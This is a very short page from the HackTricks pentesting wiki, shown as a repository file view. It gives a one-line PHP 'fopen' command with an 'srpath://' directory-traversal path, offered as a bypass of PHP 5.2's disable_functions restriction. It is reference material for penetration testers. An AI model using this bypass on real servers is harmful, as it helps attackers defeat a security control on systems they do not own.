hacktricks/pentesting/pentesting-web/php-tricks-esp/php-useful-functions/disable_functions-bypass-php-5.2-fopen-exploit.md

11 lines
294 B
Markdown
Raw Normal View History

2020-11-14 18:21:56 +00:00
# disable\_functions bypass - PHP 5.2 - FOpen Exploit
## PHP 5.2 - FOpen Exploit
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
```